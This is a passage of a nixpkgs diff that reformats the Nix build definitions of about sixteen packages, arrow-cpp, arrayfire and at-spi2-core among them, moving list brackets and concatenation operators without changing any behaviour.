+      makeWrapper $out/libexec/arion $out/bin/arion \
+        --unset PYTHONPATH \
+        --prefix PATH : ${lib.makeBinPath [ pkgs.docker-compose ]} \
+        ;
+    '';
   };
 
   # Unpacked sources for evaluation by `eval`
diff --git a/pkgs/by-name/ar/armitage/package.nix b/pkgs/by-name/ar/armitage/package.nix
index de374059dfb2..91b219c024bf 100644
--- a/pkgs/by-name/ar/armitage/package.nix
+++ b/pkgs/by-name/ar/armitage/package.nix
@@ -75,16 +75,15 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      jdk11
-      gradle
-      makeWrapper
-      copyDesktopItems
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      writeDarwinBundle
-    ];
+  nativeBuildInputs = [
+    jdk11
+    gradle
+    makeWrapper
+    copyDesktopItems
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    writeDarwinBundle
+  ];
 
   mitmCache = gradle.fetchDeps {
     inherit pname;
diff --git a/pkgs/by-name/ar/arpack/package.nix b/pkgs/by-name/ar/arpack/package.nix
index cbd95d6eab5a..488f5257fe87 100644
--- a/pkgs/by-name/ar/arpack/package.nix
+++ b/pkgs/by-name/ar/arpack/package.nix
@@ -36,18 +36,17 @@ stdenv.mkDerivation (finalAttrs: {
     gfortran
     ninja
   ];
-  buildInputs =
+  buildInputs = [
+    eigen
+  ]
+  ++ lib.optionals (!useAccel) (
+    assert (blas.isILP64 == lapack.isILP64);
     [
-      eigen
+      blas
+      lapack
     ]
-    ++ lib.optionals (!useAccel) (
-      assert (blas.isILP64 == lapack.isILP64);
-      [
-        blas
-        lapack
-      ]
-    )
-    ++ lib.optional useMpi mpi;
+  )
+  ++ lib.optional useMpi mpi;
 
   nativeCheckInputs = lib.optional useMpi mpiCheckPhaseHook;
   checkInputs =
@@ -68,19 +67,18 @@ stdenv.mkDerivation (finalAttrs: {
     FFLAGS = "-ff2c -fno-second-underscore";
   };
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" stdenv.hostPlatform.hasSharedLibraries)
-      (lib.cmakeBool "EIGEN" true)
-      (lib.cmakeBool "EXAMPLES" finalAttrs.finalPackage.doCheck)
-      (lib.cmakeBool "ICB" true)
-      (lib.cmakeBool "INTERFACE64" (!useAccel && blas.isILP64))
-      (lib.cmakeBool "MPI" useMpi)
-      (lib.cmakeBool "TESTS" finalAttrs.finalPackage.doCheck)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DBLA_VENDOR=${if useAccel then "Apple" else "Generic"}"
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" stdenv.hostPlatform.hasSharedLibraries)
+    (lib.cmakeBool "EIGEN" true)
+    (lib.cmakeBool "EXAMPLES" finalAttrs.finalPackage.doCheck)
+    (lib.cmakeBool "ICB" true)
+    (lib.cmakeBool "INTERFACE64" (!useAccel && blas.isILP64))
+    (lib.cmakeBool "MPI" useMpi)
+    (lib.cmakeBool "TESTS" finalAttrs.finalPackage.doCheck)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DBLA_VENDOR=${if useAccel then "Apple" else "Generic"}"
+  ];
 
   passthru = {
     isILP64 = !useAccel && blas.isILP64;
diff --git a/pkgs/by-name/ar/arrayfire/package.nix b/pkgs/by-name/ar/arrayfire/package.nix
index d0259c6016b2..ad12018d495b 100644
--- a/pkgs/by-name/ar/arrayfire/package.nix
+++ b/pkgs/by-name/ar/arrayfire/package.nix
@@ -107,30 +107,29 @@ stdenv.mkDerivation rec {
     hash = "sha256-GSUdHtvV/97RyDKy8i+ticnSlQCubGGWHg4Oo+YAr8Y=";
   };
 
-  cmakeFlags =
-    [
-      "-DBUILD_TESTING=ON"
-      # We do not build examples, because building tests already takes long enough...
-      "-DAF_BUILD_EXAMPLES=OFF"
-      # No need to build forge, because it's a separate package
-      "-DAF_BUILD_FORGE=OFF"
-      "-DAF_COMPUTE_LIBRARY='FFTW/LAPACK/BLAS'"
-      # Prevent ArrayFire from trying to download some matrices from the Internet
-      "-DAF_TEST_WITH_MTX_FILES=OFF"
-      # Have to use the header-only version, because we're not using the version
-      # from Nixpkgs. Otherwise, libaf.so won't be able to find the shared
-      # library, because ArrayFire's CMake files do not run the install step of
-      # spdlog.
-      "-DAF_WITH_SPDLOG_HEADER_ONLY=ON"
-      (if cpuSupport then "-DAF_BUILD_CPU=ON" else "-DAF_BUILD_CPU=OFF")
-      (if openclSupport then "-DAF_BUILD_OPENCL=ON" else "-DAF_BUILD_OPENCL=OFF")
-      (if cudaSupport then "-DAF_BUILD_CUDA=ON" else "-DAF_BUILD_CUDA=OFF")
-    ]
-    ++ lib.optionals cudaSupport [
-      # ArrayFire use deprecated FindCUDA in their CMake files, so we help CMake
-      # locate cudatoolkit.
-      "-DCUDA_LIBRARIES_PATH=${cudaPackages.cudatoolkit}/lib"
-    ];
+  cmakeFlags = [
+    "-DBUILD_TESTING=ON"
+    # We do not build examples, because building tests already takes long enough...
+    "-DAF_BUILD_EXAMPLES=OFF"
+    # No need to build forge, because it's a separate package
+    "-DAF_BUILD_FORGE=OFF"
+    "-DAF_COMPUTE_LIBRARY='FFTW/LAPACK/BLAS'"
+    # Prevent ArrayFire from trying to download some matrices from the Internet
+    "-DAF_TEST_WITH_MTX_FILES=OFF"
+    # Have to use the header-only version, because we're not using the version
+    # from Nixpkgs. Otherwise, libaf.so won't be able to find the shared
+    # library, because ArrayFire's CMake files do not run the install step of
+    # spdlog.
+    "-DAF_WITH_SPDLOG_HEADER_ONLY=ON"
+    (if cpuSupport then "-DAF_BUILD_CPU=ON" else "-DAF_BUILD_CPU=OFF")
+    (if openclSupport then "-DAF_BUILD_OPENCL=ON" else "-DAF_BUILD_OPENCL=OFF")
+    (if cudaSupport then "-DAF_BUILD_CUDA=ON" else "-DAF_BUILD_CUDA=OFF")
+  ]
+  ++ lib.optionals cudaSupport [
+    # ArrayFire use deprecated FindCUDA in their CMake files, so we help CMake
+    # locate cudatoolkit.
+    "-DCUDA_LIBRARIES_PATH=${cudaPackages.cudatoolkit}/lib"
+  ];
 
   # ArrayFire have a repo with assets for the examples. Since we don't build
   # the examples anyway, remove the dependency on assets.
@@ -199,33 +198,32 @@ stdenv.mkDerivation rec {
       AF_PRINT_ERRORS=1 ctest ${ctestFlags}
     '';
 
-  buildInputs =
-    [
-      blas
-      boost.dev
-      boost.out
-      clblast
-      fftw
-      fftwFloat
-      # We need fmt_9 because ArrayFire fails to compile with newer versions.
-      fmt_9
-      forge
-      freeimage
-      gtest
-      lapack
-      libGL
-      ocl-icd
-      opencl-clhpp
-      span-lite
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cudatoolkit
-      cudaPackages.cudnn
-      cudaPackages.cuda_cccl
-    ]
-    ++ lib.optionals openclSupport [
-      mesa
-    ];
+  buildInputs = [
+    blas
+    boost.dev
+    boost.out
+    clblast
+    fftw
+    fftwFloat
+    # We need fmt_9 because ArrayFire fails to compile with newer versions.
+    fmt_9
+    forge
+    freeimage
+    gtest
+    lapack
+    libGL
+    ocl-icd
+    opencl-clhpp
+    span-lite
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cudatoolkit
+    cudaPackages.cudnn
+    cudaPackages.cuda_cccl
+  ]
+  ++ lib.optionals openclSupport [
+    mesa
+  ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/ar/arrow-cpp/package.nix b/pkgs/by-name/ar/arrow-cpp/package.nix
index 44c23d06329c..0840f84ddc2c 100644
--- a/pkgs/by-name/ar/arrow-cpp/package.nix
+++ b/pkgs/by-name/ar/arrow-cpp/package.nix
@@ -133,45 +133,45 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     autoconf # for vendored jemalloc
     flatbuffers
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
-  buildInputs =
-    [
-      boost
-      brotli
-      bzip2
-      flatbuffers
-      gflags
-      glog
-      gtest
-      libbacktrace
-      lz4
-      nlohmann_json # alternative JSON parser to rapidjson
-      protobuf # substrait requires protobuf
-      rapidjson
-      re2
-      snappy
-      thrift
-      utf8proc
-      zlib
-      zstd
-    ]
-    ++ lib.optionals enableFlight [
-      grpc
-      openssl
-      protobuf
-      sqlite
-    ]
-    ++ lib.optionals enableS3 [
-      aws-sdk-cpp-arrow
-      openssl
-    ]
-    ++ lib.optionals enableGcs [
-      crc32c
-      curl
-      google-cloud-cpp
-      grpc
-      nlohmann_json
-    ];
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  buildInputs = [
+    boost
+    brotli
+    bzip2
+    flatbuffers
+    gflags
+    glog
+    gtest
+    libbacktrace
+    lz4
+    nlohmann_json # alternative JSON parser to rapidjson
+    protobuf # substrait requires protobuf
+    rapidjson
+    re2
+    snappy
+    thrift
+    utf8proc
+    zlib
+    zstd
+  ]
+  ++ lib.optionals enableFlight [
+    grpc
+    openssl
+    protobuf
+    sqlite
+  ]
+  ++ lib.optionals enableS3 [
+    aws-sdk-cpp-arrow
+    openssl
+  ]
+  ++ lib.optionals enableGcs [
+    crc32c
+    curl
+    google-cloud-cpp
+    grpc
+    nlohmann_json
+  ];
 
   preConfigure = ''
     patchShebangs build-support/
@@ -179,57 +179,56 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail 'discover_tz_dir();' '"${tzdata}/share/zoneinfo";'
   '';
 
-  cmakeFlags =
-    [
-      "-DCMAKE_FIND_PACKAGE_PREFER_CONFIG=ON"
-      "-DARROW_BUILD_SHARED=${if enableShared then "ON" else "OFF"}"
-      "-DARROW_BUILD_STATIC=${if enableShared then "OFF" else "ON"}"
-      "-DARROW_BUILD_TESTS=${if enableShared then "ON" else "OFF"}"
-      "-DARROW_BUILD_INTEGRATION=ON"
-      "-DARROW_BUILD_UTILITIES=ON"
-      "-DARROW_EXTRA_ERROR_CONTEXT=ON"
-      "-DARROW_VERBOSE_THIRDPARTY_BUILD=ON"
-      "-DARROW_DEPENDENCY_SOURCE=SYSTEM"
-      "-Dxsimd_SOURCE=AUTO"
-      "-DARROW_DEPENDENCY_USE_SHARED=${if enableShared then "ON" else "OFF"}"
-      "-DARROW_COMPUTE=ON"
-      "-DARROW_CSV=ON"
-      "-DARROW_DATASET=ON"
-      "-DARROW_FILESYSTEM=ON"
-      "-DARROW_FLIGHT_SQL=${if enableFlight then "ON" else "OFF"}"
-      "-DARROW_HDFS=ON"
-      "-DARROW_IPC=ON"
-      "-DARROW_JEMALLOC=${if enableJemalloc then "ON" else "OFF"}"
-      "-DARROW_JSON=ON"
-      "-DARROW_USE_GLOG=ON"
-      "-DARROW_WITH_BACKTRACE=ON"
-      "-DARROW_WITH_BROTLI=ON"
-      "-DARROW_WITH_BZ2=ON"
-      "-DARROW_WITH_LZ4=ON"
-      "-DARROW_WITH_NLOHMANN_JSON=ON"
-      "-DARROW_WITH_SNAPPY=ON"
-      "-DARROW_WITH_UTF8PROC=ON"
-      "-DARROW_WITH_ZLIB=ON"
-      "-DARROW_WITH_ZSTD=ON"
-      "-DARROW_MIMALLOC=ON"
-      "-DARROW_SUBSTRAIT=ON"
-      "-DARROW_FLIGHT=${if enableFlight then "ON" else "OFF"}"
-      "-DARROW_FLIGHT_TESTING=${if enableFlight then "ON" else "OFF"}"
-      "-DARROW_S3=${if enableS3 then "ON" else "OFF"}"
-      "-DARROW_GCS=${if enableGcs then "ON" else "OFF"}"
-      # Parquet options:
-      "-DARROW_PARQUET=ON"
-      "-DPARQUET_BUILD_EXECUTABLES=ON"
-      "-DPARQUET_REQUIRE_ENCRYPTION=ON"
-    ]
-    ++ lib.optionals (!enableShared) [ "-DARROW_TEST_LINKAGE=static" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DCMAKE_INSTALL_RPATH=@loader_path/../lib" # needed for tools executables
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "-DARROW_USE_SIMD=OFF" ]
-    ++ lib.optionals enableS3 [
-      "-DAWSSDK_CORE_HEADER_FILE=${aws-sdk-cpp-arrow}/include/aws/core/Aws.h"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_FIND_PACKAGE_PREFER_CONFIG=ON"
+    "-DARROW_BUILD_SHARED=${if enableShared then "ON" else "OFF"}"
+    "-DARROW_BUILD_STATIC=${if enableShared then "OFF" else "ON"}"
+    "-DARROW_BUILD_TESTS=${if enableShared then "ON" else "OFF"}"
+    "-DARROW_BUILD_INTEGRATION=ON"
+    "-DARROW_BUILD_UTILITIES=ON"
+    "-DARROW_EXTRA_ERROR_CONTEXT=ON"
+    "-DARROW_VERBOSE_THIRDPARTY_BUILD=ON"
+    "-DARROW_DEPENDENCY_SOURCE=SYSTEM"
+    "-Dxsimd_SOURCE=AUTO"
+    "-DARROW_DEPENDENCY_USE_SHARED=${if enableShared then "ON" else "OFF"}"
+    "-DARROW_COMPUTE=ON"
+    "-DARROW_CSV=ON"
+    "-DARROW_DATASET=ON"
+    "-DARROW_FILESYSTEM=ON"
+    "-DARROW_FLIGHT_SQL=${if enableFlight then "ON" else "OFF"}"
+    "-DARROW_HDFS=ON"
+    "-DARROW_IPC=ON"
+    "-DARROW_JEMALLOC=${if enableJemalloc then "ON" else "OFF"}"
+    "-DARROW_JSON=ON"
+    "-DARROW_USE_GLOG=ON"
+    "-DARROW_WITH_BACKTRACE=ON"
+    "-DARROW_WITH_BROTLI=ON"
+    "-DARROW_WITH_BZ2=ON"
+    "-DARROW_WITH_LZ4=ON"
+    "-DARROW_WITH_NLOHMANN_JSON=ON"
+    "-DARROW_WITH_SNAPPY=ON"
+    "-DARROW_WITH_UTF8PROC=ON"
+    "-DARROW_WITH_ZLIB=ON"
+    "-DARROW_WITH_ZSTD=ON"
+    "-DARROW_MIMALLOC=ON"
+    "-DARROW_SUBSTRAIT=ON"
+    "-DARROW_FLIGHT=${if enableFlight then "ON" else "OFF"}"
+    "-DARROW_FLIGHT_TESTING=${if enableFlight then "ON" else "OFF"}"
+    "-DARROW_S3=${if enableS3 then "ON" else "OFF"}"
+    "-DARROW_GCS=${if enableGcs then "ON" else "OFF"}"
+    # Parquet options:
+    "-DARROW_PARQUET=ON"
+    "-DPARQUET_BUILD_EXECUTABLES=ON"
+    "-DPARQUET_REQUIRE_ENCRYPTION=ON"
+  ]
+  ++ lib.optionals (!enableShared) [ "-DARROW_TEST_LINKAGE=static" ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DCMAKE_INSTALL_RPATH=@loader_path/../lib" # needed for tools executables
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [ "-DARROW_USE_SIMD=OFF" ]
+  ++ lib.optionals enableS3 [
+    "-DAWSSDK_CORE_HEADER_FILE=${aws-sdk-cpp-arrow}/include/aws/core/Aws.h"
+  ];
 
   doInstallCheck = true;
   ARROW_TEST_DATA = lib.optionalString finalAttrs.doInstallCheck "${arrow-testing}/data";
@@ -264,14 +263,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   __darwinAllowLocalNetworking = true;
 
-  nativeInstallCheckInputs =
-    [
-      perl
-      which
-      sqlite
-    ]
-    ++ lib.optionals enableS3 [ minio ]
-    ++ lib.optionals enableFlight [ python3 ];
+  nativeInstallCheckInputs = [
+    perl
+    which
+    sqlite
+  ]
+  ++ lib.optionals enableS3 [ minio ]
+  ++ lib.optionals enableFlight [ python3 ];
 
   installCheckPhase =
     let
diff --git a/pkgs/by-name/as/asc-key-to-qr-code-gif/package.nix b/pkgs/by-name/as/asc-key-to-qr-code-gif/package.nix
index f3fe53a3ecfa..88a247debc2e 100644
--- a/pkgs/by-name/as/asc-key-to-qr-code-gif/package.nix
+++ b/pkgs/by-name/as/asc-key-to-qr-code-gif/package.nix
@@ -23,15 +23,14 @@ stdenvNoCC.mkDerivation {
 
   postPatch =
     let
-      substitutions =
-        [
-          ''--replace-fail "convert" "${lib.getExe imagemagick}"''
-          ''--replace-fail "qrencode" "${lib.getExe qrencode}"''
-        ]
-        ++ lib.optionals testQR [
-          ''--replace-fail "hash zbarimg" "true"'' # hash does not work on NixOS
-          ''--replace-fail "$(zbarimg --raw" "$(${zbar}/bin/zbarimg --raw"''
-        ];
+      substitutions = [
+        ''--replace-fail "convert" "${lib.getExe imagemagick}"''
+        ''--replace-fail "qrencode" "${lib.getExe qrencode}"''
+      ]
+      ++ lib.optionals testQR [
+        ''--replace-fail "hash zbarimg" "true"'' # hash does not work on NixOS
+        ''--replace-fail "$(zbarimg --raw" "$(${zbar}/bin/zbarimg --raw"''
+      ];
     in
     ''
       substituteInPlace asc-to-gif.sh ${lib.concatStringsSep " " substitutions}
diff --git a/pkgs/by-name/as/ashell/package.nix b/pkgs/by-name/as/ashell/package.nix
index a270b3fb92a2..8efb806e23d6 100644
--- a/pkgs/by-name/as/ashell/package.nix
+++ b/pkgs/by-name/as/ashell/package.nix
@@ -43,7 +43,8 @@ rustPlatform.buildRustPackage rec {
     libxkbcommon
     pipewire
     udev
-  ] ++ runtimeDependencies;
+  ]
+  ++ runtimeDependencies;
 
   meta = {
     description = "Ready to go Wayland status bar for Hyprland";
diff --git a/pkgs/by-name/as/assaultcube/package.nix b/pkgs/by-name/as/assaultcube/package.nix
index 7db82cf87f44..69332a0a81bb 100644
--- a/pkgs/by-name/as/assaultcube/package.nix
+++ b/pkgs/by-name/as/assaultcube/package.nix
@@ -36,20 +36,19 @@ stdenv.mkDerivation rec {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      file
-      zlib
-    ]
-    ++ lib.optionals client [
-      openal
-      SDL2
-      SDL2_image
-      libGL
-      libX11
-      libogg
-      libvorbis
-    ];
+  buildInputs = [
+    file
+    zlib
+  ]
+  ++ lib.optionals client [
+    openal
+    SDL2
+    SDL2_image
+    libGL
+    libX11
+    libogg
+    libvorbis
+  ];
 
   targets = (lib.optionalString server "server") + (lib.optionalString client " client");
   makeFlags = [
diff --git a/pkgs/by-name/as/ast-grep/package.nix b/pkgs/by-name/as/ast-grep/package.nix
index ec8b4841a401..373480a8a20e 100644
--- a/pkgs/by-name/as/ast-grep/package.nix
+++ b/pkgs/by-name/as/ast-grep/package.nix
@@ -33,7 +33,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   cargoBuildFlags = [
     "--package ast-grep --bin ast-grep"
-  ] ++ lib.optionals enableLegacySg [ "--package ast-grep --bin sg" ];
+  ]
+  ++ lib.optionals enableLegacySg [ "--package ast-grep --bin sg" ];
 
   postInstall = lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
     let
diff --git a/pkgs/by-name/at/at-spi2-core/package.nix b/pkgs/by-name/at/at-spi2-core/package.nix
index 84f77fc7fb56..461d2002ddf7 100644
--- a/pkgs/by-name/at/at-spi2-core/package.nix
+++ b/pkgs/by-name/at/at-spi2-core/package.nix
@@ -40,32 +40,30 @@ stdenv.mkDerivation rec {
     hash = "sha256-4bHJg2qJR4UvdEDDLiMXkjTHa9mM2cxAAfN2QF+LeDs=";
   };
 
-  nativeBuildInputs =
-    [
-      glib
-      meson
-      ninja
-      pkg-config
-      makeWrapper
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    glib
+    meson
+    ninja
+    pkg-config
+    makeWrapper
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
-  buildInputs =
-    [
-      libX11
-      libxml2
-      # at-spi2-core can be build without X support, but due it is a client-side library, GUI-less usage is a very rare case
-      libXtst
-      libXi
-      # libXext is a transitive dependency of libXi
-      libXext
-    ]
-    ++ lib.optionals systemdSupport [
-      # libsystemd is a needed for dbus-broker support
-      systemd
-    ];
+  buildInputs = [
+    libX11
+    libxml2
+    # at-spi2-core can be build without X support, but due it is a client-side library, GUI-less usage is a very rare case
+    libXtst
+    libXi
+    # libXext is a transitive dependency of libXi
+    libXext
+  ]
+  ++ lib.optionals systemdSupport [
+    # libsystemd is a needed for dbus-broker support
+    systemd
+  ];
 
   # In atspi-2.pc dbus-1 glib-2.0
   # In atk.pc gobject-2.0
@@ -77,21 +75,20 @@ stdenv.mkDerivation rec {
   # fails with "AT-SPI: Couldn't connect to accessibility bus. Is at-spi-bus-launcher running?"
   doCheck = false;
 
-  mesonFlags =
-    [
-      # Provide dbus-daemon fallback when it is not already running when
-      # at-spi2-bus-launcher is executed. This allows us to avoid
-      # including the entire dbus closure in libraries linked with
-      # the at-spi2-core libraries.
-      "-Ddbus_daemon=/run/current-system/sw/bin/dbus-daemon"
-    ]
-    ++ lib.optionals systemdSupport [
-      # Same as the above, but for dbus-broker
-      "-Ddbus_broker=/run/current-system/sw/bin/dbus-broker-launch"
-    ]
-    ++ lib.optionals (!systemdSupport) [
-      "-Duse_systemd=false"
-    ];
+  mesonFlags = [
+    # Provide dbus-daemon fallback when it is not already running when
+    # at-spi2-bus-launcher is executed. This allows us to avoid
+    # including the entire dbus closure in libraries linked with
+    # the at-spi2-core libraries.
+    "-Ddbus_daemon=/run/current-system/sw/bin/dbus-daemon"
+  ]
+  ++ lib.optionals systemdSupport [
+    # Same as the above, but for dbus-broker
+    "-Ddbus_broker=/run/current-system/sw/bin/dbus-broker-launch"
+  ]
+  ++ lib.optionals (!systemdSupport) [
+    "-Duse_systemd=false"
+  ];
 
   passthru = {
     updateScript = gnome.updateScript {
diff --git a/pkgs/by-name/at/atlauncher/package.nix b/pkgs/by-name/at/atlauncher/package.nix
index c894d159138b..2ec41ca791d2 100644
--- a/pkgs/by-name/at/atlauncher/package.nix
+++ b/pkgs/by-name/at/atlauncher/package.nix
@@ -59,18 +59,17 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   installPhase =
     let
-      runtimeLibraries =
-        [
-          libglvnd
-          libpulseaudio
-          udev
-          xorg.libX11
-          xorg.libXcursor
-          xorg.libXxf86vm
-        ]
-        ++ lib.optional gamemodeSupport gamemode.lib
-        ++ lib.optional textToSpeechSupport flite
-        ++ additionalLibs;
+      runtimeLibraries = [
+        libglvnd
+        libpulseaudio
+        udev
+        xorg.libX11
+        xorg.libXcursor
+        xorg.libXxf86vm
+      ]
+      ++ lib.optional gamemodeSupport gamemode.lib
+      ++ lib.optional textToSpeechSupport flite
+      ++ additionalLibs;
     in
     ''
       runHook preInstall
diff --git a/pkgs/by-name/at/atop/package.nix b/pkgs/by-name/at/atop/package.nix
index 4a68003f81e4..24b8032c0bd6 100644
--- a/pkgs/by-name/at/atop/package.nix
+++ b/pkgs/by-name/at/atop/package.nix
@@ -23,23 +23,21 @@ stdenv.mkDerivation rec {
     hash = "sha256-d2UPefnjiLb1Zm3BE4SYlFdaKbtN4huM1Ydnv4qQUVQ=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals withAtopgpu [
-      python3.pkgs.wrapPython
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals withAtopgpu [
+    python3.pkgs.wrapPython
+  ];
 
-  buildInputs =
-    [
-      glib
-      zlib
-      ncurses
-    ]
-    ++ lib.optionals withAtopgpu [
-      python3
-    ];
+  buildInputs = [
+    glib
+    zlib
+    ncurses
+  ]
+  ++ lib.optionals withAtopgpu [
+    python3
+  ];
 
   pythonPath = lib.optionals withAtopgpu [
     python3.pkgs.pynvml
@@ -77,21 +75,20 @@ stdenv.mkDerivation rec {
     mkdir -p $out/bin
   '';
 
-  postInstall =
-    ''
-      # Remove extra files we don't need
-      rm -r $out/{var,etc} $out/bin/atop{sar,}-${version}
-    ''
-    + (
-      if withAtopgpu then
-        ''
-          wrapPythonPrograms
-        ''
-      else
-        ''
-          rm $out/lib/systemd/system/atopgpu.service $out/bin/atopgpud $out/share/man/man8/atopgpud.8
-        ''
-    );
+  postInstall = ''
+    # Remove extra files we don't need
+    rm -r $out/{var,etc} $out/bin/atop{sar,}-${version}
+  ''
+  + (
+    if withAtopgpu then
+      ''
+        wrapPythonPrograms
+      ''
+    else
+      ''
+        rm $out/lib/systemd/system/atopgpu.service $out/bin/atopgpud $out/share/man/man8/atopgpud.8
+      ''
+  );
 
   passthru.tests = { inherit (nixosTests) atop; };
 
diff --git a/pkgs/by-name/at/ats2/package.nix b/pkgs/by-name/at/ats2/package.nix
index 8a648c98238d..172ba12c1342 100644
--- a/pkgs/by-name/at/ats2/package.nix
+++ b/pkgs/by-name/at/ats2/package.nix
@@ -37,18 +37,17 @@ stdenv.mkDerivation rec {
     hash = "sha256-UWgDjFojPBYgykrCrJyYvVWY+Gc5d4aRGjTWjc528AM=";
   };
 
-  postPatch =
-    ''
-      for i in cstream intinf libgmp libjson-c libpcre; do
-        ln -sf ../../../../../share/Makefile.gen contrib/atscntrb/atscntrb-hx-$i/SATS/DOCUGEN/Makefile.gen
-      done
-      for i in libcairo libsdl2; do
-        ln -sf ../../../../../../share/Makefile.gen npm-utils/contrib/atscntrb/atscntrb-hx-$i/SATS/DOCUGEN/Makefile.gen
-      done
-    ''
-    + lib.optionalString stdenv.cc.isClang ''
-      sed -i 's/gcc/clang/g' utils/*/DATS/atscc_util.dats
-    '';
+  postPatch = ''
+    for i in cstream intinf libgmp libjson-c libpcre; do
+      ln -sf ../../../../../share/Makefile.gen contrib/atscntrb/atscntrb-hx-$i/SATS/DOCUGEN/Makefile.gen
+    done
+    for i in libcairo libsdl2; do
+      ln -sf ../../../../../../share/Makefile.gen npm-utils/contrib/atscntrb/atscntrb-hx-$i/SATS/DOCUGEN/Makefile.gen
+    done
+  ''
+  + lib.optionalString stdenv.cc.isClang ''
+    sed -i 's/gcc/clang/g' utils/*/DATS/atscc_util.dats
+  '';
 
   buildInputs = [ gmp ];
 
diff --git a/pkgs/by-name/at/attic-client/package.nix b/pkgs/by-name/at/attic-client/package.nix
index 3b8a97074e52..92983403e7f4 100644
--- a/pkgs/by-name/at/attic-client/package.nix
+++ b/pkgs/by-name/at/attic-client/package.nix
@@ -39,13 +39,12 @@ rustPlatform.buildRustPackage {
   cargoHash = "sha256-AbpWnYfBMrR6oOfy2LkQvIPYsClCWE89bJav+iHTtLM=";
   useFetchCargoVendor = true;
 
-  env =
-    {
-      ATTIC_DISTRIBUTOR = "nixpkgs";
-    }
-    // lib.optionalAttrs needNixInclude {
-      NIX_INCLUDE_PATH = "${lib.getDev nixVersions.nix_2_24}/include";
-    };
+  env = {
+    ATTIC_DISTRIBUTOR = "nixpkgs";
+  }
+  // lib.optionalAttrs needNixInclude {
+    NIX_INCLUDE_PATH = "${lib.getDev nixVersions.nix_2_24}/include";
+  };
 
   # Attic interacts with Nix directly and its tests require trusted-user access
   # to nix-daemon to import NARs, which is not possible in the build sandbox.
diff --git a/pkgs/by-name/at/attract-mode/package.nix b/pkgs/by-name/at/attract-mode/package.nix
index b769b674a039..7e67e3fedee2 100644
--- a/pkgs/by-name/at/attract-mode/package.nix
+++ b/pkgs/by-name/at/attract-mode/package.nix
@@ -28,21 +28,20 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      expat
-      ffmpeg
-      freetype
-      libarchive
-      libjpeg
-      libGLU
-      sfml_2
-      zlib
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      openal
-      fontconfig
-    ];
+  buildInputs = [
+    expat
+    ffmpeg
+    freetype
+    libarchive
+    libjpeg
+    libGLU
+    sfml_2
+    zlib
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    openal
+    fontconfig
+  ];
 
   makeFlags = [
     "prefix=$(out)"
@@ -53,7 +52,8 @@ stdenv.mkDerivation {
     "PKG_CONFIG=${stdenv.cc.targetPrefix}pkg-config"
     "AR=${stdenv.cc.targetPrefix}ar"
     "BUILD_EXPAT=0"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "USE_FONTCONFIG=0" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "USE_FONTCONFIG=0" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/au/aucatctl/package.nix b/pkgs/by-name/au/aucatctl/package.nix
index 2e0671876015..e3d0ca43d98f 100644
--- a/pkgs/by-name/au/aucatctl/package.nix
+++ b/pkgs/by-name/au/aucatctl/package.nix
@@ -17,24 +17,24 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [
     sndio
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isBSD) libbsd;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isBSD) libbsd;
 
   outputs = [
     "out"
     "man"
   ];
 
-  preBuild =
-    ''
-      makeFlagsArray+=("PREFIX=$out")
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isBSD) ''
-      makeFlagsArray+=(LDADD="-lsndio -lbsd")
+  preBuild = ''
+    makeFlagsArray+=("PREFIX=$out")
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isBSD) ''
+    makeFlagsArray+=(LDADD="-lsndio -lbsd")
 
-      # Fix warning about implicit declaration of function 'strlcpy'
-      substituteInPlace aucatctl.c \
-        --replace '#include <string.h>' '#include <bsd/string.h>'
-    '';
+    # Fix warning about implicit declaration of function 'strlcpy'
+    substituteInPlace aucatctl.c \
+      --replace '#include <string.h>' '#include <bsd/string.h>'
+  '';
 
   meta = with lib; {
     description = "Utility that allows to send MIDI messages to control sndiod and/or aucat volumes";
diff --git a/pkgs/by-name/au/audacity/package.nix b/pkgs/by-name/au/audacity/package.nix
